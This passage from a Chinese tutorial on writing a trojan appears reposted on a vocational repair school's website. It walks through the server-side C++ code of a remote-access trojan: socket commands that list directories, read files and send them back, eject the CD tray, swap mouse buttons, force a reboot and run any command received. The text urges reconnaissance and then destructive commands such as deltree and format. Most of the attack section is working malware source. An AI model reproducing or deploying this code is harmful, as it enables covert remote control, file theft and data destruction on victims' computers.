家电维修班,手机维修班,电脑维修班,电工班,焊工班,液晶电视维修班,电动工具维修班、电动车摩托车维修班、网络营销培训、网站设计培训、淘宝培训---全国招生 家电维修班,手机维修班,电脑维修班,电工班,焊工班,液晶电视维修班,电动工具维修班、电动车摩托车维修班、网络营销培训、网站设计培训、淘宝培训---全国招生
您现在的位置:首页 >> 电脑初学知识 >> 信息正文

木马是如何编写的(二)

2009-2-28 1:23:53 来源: 不详 作者:佚名 访问:0次 字号:【
    的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲啰:

{
else if(temp.substring(0,3)=="dir")
{
  //如果前3个字符是“dir”
  int read_num;
  char * cr_lf="\n";
  int attrib;
  char *filename;
  dir *dir;
  struct dirent *ent;
  int number=temp.length();
  //得到字符串的长度
  ansistring dir_name=temp.substring(5,number-3);
  //从字符串第六个字符开始,将后面的字符存入dir_name变量,这是目录名
  if(dir_name=="")
   {
    //如果目录名为空
    socket->sendtext("fail by open dir's name");
    //返回“fail by open dir's name”信息
    goto end;
    //跳到end
   }
  char * dirname;
  dirname=dir_name.c_str();
  if ((dir = opendir(dirname)) == null)
   {
    //如果打开目录出错
    socket->sendtext("fail by your dir's name!");
    //返回“fail by your dir's name”信息
    goto end;
    //跳到end
   }
  times_of_try=0;
  while(fp==null)
   {
    //如果指针是null
    fp=fopen(tempfile,"w+");
    //就创建system\win369.bat准备读和写;如果此文件已存在,则会被覆盖
    times_of_try=times_of_try+1;
    //计数器加1
    if(times_of_try>100)
      {
      //如果已经试了100次了,仍未成功(真有耐心!)
      socket->sendtext("fail by open file");
      //就发回“fail by open file”的错误信息
      goto end;
      //并跳到end处
      }
    }
   while ((ent = readdir(dir)) != null)
    {
     //如果访问目标目录成功
     if(*(ansistring(dirname)).ansilastchar()!='\\')
     //如果 后一个字符不是“\”,证明不是根目录
     filename=(ansistring(dirname)+"\\"+ent->d_name).c_str();
     //加上“\”字符后将指针指向目录流
     else
     filename=(ansistring(dirname)+ent->d_name).c_str();
     //如果是根目录,则不用加“\”
     attrib=_rtl_chmod(filename, 0);
     //得到目标文件的访问属性
     if (attrib & fa_rdonly)
     //“&”字符是比较前后两个变量,如果相同返回1,否则返回0
     fwrite(" r",sizeof(char),3,fp);
     //将目标文件属性设为只读
     else
     fwrite(" ",sizeof(char),3,fp);
     //失败则写入空格
     if (attrib & fa_hidden)
     fwrite("h",sizeof(char),1,fp);
     //将目标文件属性设为隐藏
     else
     fwrite(" ",sizeof(char),1,fp);
     //失败则写入空格
     if (attrib & fa_system)
     fwrite("s",sizeof(char),1,fp);
     //将目标文件属性设为系统
     else
     fwrite(" ",sizeof(char),1,fp);
     //失败则写入空格
     if (attrib & fa_arch)
     fwrite("a",sizeof(char),1,fp);
     //将目标文件属性设为普通
     else
     fwrite(" ",sizeof(char),1,fp);
     //失败则写入空格
     if (attrib & fa_direc)
     fwrite("

",sizeof(char),9,fp);
     //将目标文件属性设为目录
     else
     fwrite("     ",sizeof(char),9,fp);
     //失败则写入空格
     fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);
     //将目录名写入目标文件
     fwrite(cr_lf,1,1,fp);
     //写入换行
    }
    fclose(fp);
    //关闭文件
    closedir(dir);
    //关闭目录
    file *fp1=null;
    times_of_try=0;
    while(fp1==null)
     {
     fp1=fopen(tempfile,"r");
     //打开win369.bat准备读
     times_of_try=times_of_try+1;
     //计数器加1
     if(times_of_try>100)
     {
       //如果已经试了100次了,仍未成功
       socket->sendtext("fail by open file");
       //就发回“fail by open file”的错误信息
       goto end;
       //并跳到end处
     }
     }
    ansistring return_text="";
    char temp_content[300];
    for(int i=0;i<300;i++) temp_content
='\0';
    //定义的一个空数组
    read_num=fread(temp_content,1,300,fp1);
    //从目标文件中读入前300个字符
    while(read_num==300)
    {
     return_text=return_text+temp_content;
     //return_text变量加上刚才的300个字符
     for(int i=0;i<300;i++) temp_content
='\0';
     read_num=fread(temp_content,1,300,fp1);
     //重复
    };
    return_text=return_text+temp_content;
    //return_text变量加上刚才的300个字符
    fclose(fp1);
    //关闭目标文件
    socket->sendtext(return_text);
    //返回return_text变量的内容
  }
}

够长吧?!察看目录树这么费劲啊?!你后面可以用bcb中的各种列表框对client.exe好好美化美化。接下来就是查看指定文件的内容了,client将使用“type”命令,(手指累不累啊?):

{
else if(temp.substring(0,4)=="type")
{
  //如果前4个字符是“type”
  int read_num;
  int number=temp.length();
  ansistring file_name=temp.substring(6,number-4);
  //将目标文件流存入file_name变量中
  times_of_try=0;
  while(fp==null)
   {
    fp=fopen(file_name.c_str(),"r");
    //打开目标文件准备读
    times_of_try=times_of_try+1;
    //计数器加1
    if(times_of_try>100)
    {
     //如果已试了100次了
      socket->sendtext("fail by open file");
      //返回“fail by open file”的错误信息
      goto end;
      //跳到end
    }
   }
  ansistring return_text="";
  char temp_content[300];
  for(int i=0;i<300;i++) temp_content
='\0';
  //定义一个空数组
  read_num=fread(temp_content,1,300,fp);
  //从目标文件中读入前300个字符
  while(read_num==300)
   {
    return_text=return_text+temp_content;
    //return_text的内容加上刚才的字符
    for(int i=0;i<300;i++) temp_content
='\0';
    read_num=fread(temp_content,1,300,fp);
    //重复
   };
  return_text=return_text+temp_content;
  //return_text的内容加上刚才的字符
  fclose(fp);
  //关闭目标文件
  socket->sendtext(return_text);
  //返回return_text的内容,即你查看文件的内容
}
}


咳咳!累死了!还是来点轻松的吧——操纵目标机的光驱(注意:mcisendstring()函数的声明在mmsystem.h头文件中):

{
else if(temp=="open")
{
  //如果收到的temp的内容是“open”
  mcisendstring("set cdaudio door open", null, 0, null);
  //就弹出光驱的托盘
}
else if(temp=="close")
{
  //如果收到的temp的内容是“close”
  mcisendstring("set cdaudio door closed wait", null, 0, null);
  //就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}

  接着就是交换目标机的鼠标左右键,代码如下:
{
else if(temp=="swap")
{
  swapmousebutton(1);
  //交换鼠标左右键,简单吧?
}
}

  然后就是使目标机重新启动。但这里要区分winnt和win9x——nt非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{
else if(temp=="reboot")
{
  //如果收到的temp的内容是“temp”
  dword dwversion = getversion();
  //得到操作系统的版本号
  if (dwversion < 0x80000000)
  {
    //操作系统是winnt,不是win9x
   handle htoken;
   token_privileges tkp;
   //定义变量
   openprocesstoken(getcurrentprocess(),token_adjust_privileges | token_query, &htoken);
   //openprocesstoken()这个函数的作用是打开一个进程的访问令牌
   //getcurrentprocess()函数的作用是得到本进程的句柄
   lookupprivilegevalue(null, se_shutdown_name,&tkp.privileges[0].luid);
   //lookupprivilegevalue()的作用是修改进程的权限
   tkp.privilegecount = 1;
    //赋给本进程特权
   tkp.privileges[0].attributes = se_privilege_enabled;
    adjusttokenprivileges(htoken, false, &tkp, 0,(ptoken_privileges)null, 0);
   //adjusttokenprivileges()的作用是通知windows nt修改本进程的权利
   exitwindowsex(ewx_reboot | ewx_force, 0);
    //强行退出winnt并重启
  }
  else exitwindowsex(ewx_force+ewx_reboot,0);
   //强行退出win9x并重启
}
}

  如果以上都不是,就让它在dos窗口中执行传来的命令:

{
else
{
  //如果都不是
  char * cr_tf="\n";
  times_of_try=0;
  while(fp==null)
  {
   fp=fopen(tempfile,"w+");
   //创建win369.bat,如果已存在就覆盖
   times_of_try=times_of_try+1;
    //计数器加1
   if(times_of_try>100)
   {
    socket->sendtext("fail by open file");
    //返回“fail by open file”的信息
    goto end;
    //跳到end
   }
  }
  fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
  //写入欲执行的命令
  fwrite(cr_tf,sizeof(char),strlen(cr_tf),fp);
  //写入换行符
  fclose(fp);
  //关闭win369.bat
  system(tempfile);
  //执行win369.bat
  socket->sendtext("success");
  //返回“success”信息
}
}

  你可以直接执行什么ping和tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如deltree和format命令。
  
  到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)
打印本文   加入收藏   返回顶部   关闭窗口Tags:木马|马是|是如|如  

网站: http://www.hnygpx.net 报名电话:0731-5579057   13807313137 报名信箱: yp5579@263.net 咨询QQ: 361928696,873219118 

校址:湖南省长沙市雨花区红花坡路176号(正圆厂内)。 来校路线:长沙火车站售票处后坪乘135路至"鼓风站"下车,回走100米即到

电工培训学校 电动车维修学校 摩托车维修学校 摩托车维修培训 手机维修培训 家电维修培训 电脑维修培训 电动工具维修培训 液晶电视维修培训 安防监控培训 空调维修培训 网络营销培训 网站设计培训 淘宝网店培训 电器维修培训 家电维修学校 电工培训 焊工培训 电工学校
中山市,固原市,银川市,玉树,海东,陇南市,酒泉市,张掖市,天水市,金昌市,兰州市,榆林市,延安市,渭南市,铜川市,阿里,山南,拉萨市,怒江,文山州,楚雄州,普洱市,昭通市,玉溪市,昆明市,毕节,铜仁,遵义市,贵阳市,甘孜州,资阳市,达州市,宜宾市,南充市,遂宁市,绵阳市,泸州市,自贡市,三亚市,崇左市,河池市,玉林市,钦州市,梧州市,柳州市,梅州市,肇庆市,湛江市,佛山市,珠海市,韶关市,湘西州,怀化市,郴州市,张家界市,邵阳市,株洲市,仙桃市,随州市,荆州市,荆门市,襄樊市,黄石市,驻马店市,信阳市,南阳市,漯河市,中卫市,石嘴山市,海西,海南藏州,黄南州,海北,甘南,庆阳市,平凉市,武威市,白银市,嘉峪关市,安康市,汉中市,咸阳市,宝鸡市,林芝,日喀则,昌都,迪庆,德宏,大理,西双版纳,红河州,临沧市,丽江市,保山市,曲靖市,黔东州,黔西州,安顺市,六盘水市,凉山州,阿坝州,雅安市,广安市,眉山市,内江市,广元市,德阳市,攀枝花市,成都市,海口市,来宾市,百色市,贵港市,北海市,桂林市,南宁市,云浮市,揭阳市,潮州市,清远市,阳江市,汕尾市,惠州市,茂名市,江门市,汕头市,深圳市,广州市,娄底市,永州市,益阳市,岳阳市,湘潭市,长沙市,恩施州,黄冈市,孝感市,鄂州市,十堰市,武汉市,周口市,商丘市,三门峡市,许昌市,焦作市,安阳市,鹤壁市,平顶山市,开封市,郑州市,聊城市,滨州市,德州市,莱芜市,日照市,泰安市,烟台市,潍坊市,东营市,淄博市,上饶市,济南市,抚州市,宜春市,赣州市,新余市,九江市,景德镇市,宁德市,南平市,泉州市,莆田市,厦门市,宣城市,亳州市,六安市,宿州市,黄山市,滁州市,安庆市,淮北市,马鞍山市,蚌埠市,芜湖市,合肥市,丽水市,舟山市,衢州市,金华市,湖州市,嘉兴市,宁波市,宿迁市,镇江市,盐城市,连云港市,苏州市,徐州市,南京市,绥化市,牡丹江市,佳木斯市,大庆市,鹤岗市,哈尔滨市,白城市,白山市,辽源市,吉林市,葫芦岛市,铁岭市,盘锦市,阜新市,锦州市,本溪市,鞍山市,沈阳市,锡林郭勒盟,通辽市,乌海市,吕梁市,忻州市,晋中市,晋城市,阳泉市,太原市,廊坊市,承德市,保定市,邯郸市,唐山市,宁夏,甘肃省,西藏,贵州省,重庆市,广西,湖南省,河南省,江西省,安徽省,江苏省,黑龙江省,辽宁省,山西省,天津市,四平市,内蒙古,吴忠市,果洛,西宁市,定西市,商洛市,西安市,那曲,黔南州,巴中市,乐山市,贺州市,防城港市,东莞市,河源市,常德市,衡阳市,咸宁市,宜昌市,濮阳市,新乡市,洛阳市,菏泽市,临沂市,威海市,济宁市,枣庄市,青岛市,吉安市,鹰潭市,萍乡市,南昌市,龙岩市,漳州市,三明市,福州市,池州市,巢湖市,阜阳市,铜陵市,淮南市,台州市,绍兴市,温州市,杭州市,泰州市,扬州市,淮安市,南通市,常州市,无锡市,大兴安岭,黑河市,七台河市,伊春市,双鸭山市,鸡西市,齐齐哈尔市,延边,松原市,通化市,长春市,朝阳市,辽阳市,营口市,丹东市,抚顺市,大连市,阿拉善盟,兴安盟,乌兰察布市,巴彦淖尔市,呼伦贝尔市,鄂尔多斯市,赤峰市,包头市,呼和浩特市,临汾市,运城市,朔州市,长治市,大同市,衡水市,沧州市,张家口市,邢台市,秦皇岛市,石家庄市,青海省,陕西省,云南省,四川省,海南省,广东省,湖北省,山东省,福建省,浙江省,上海市,吉林省,河北省,北京市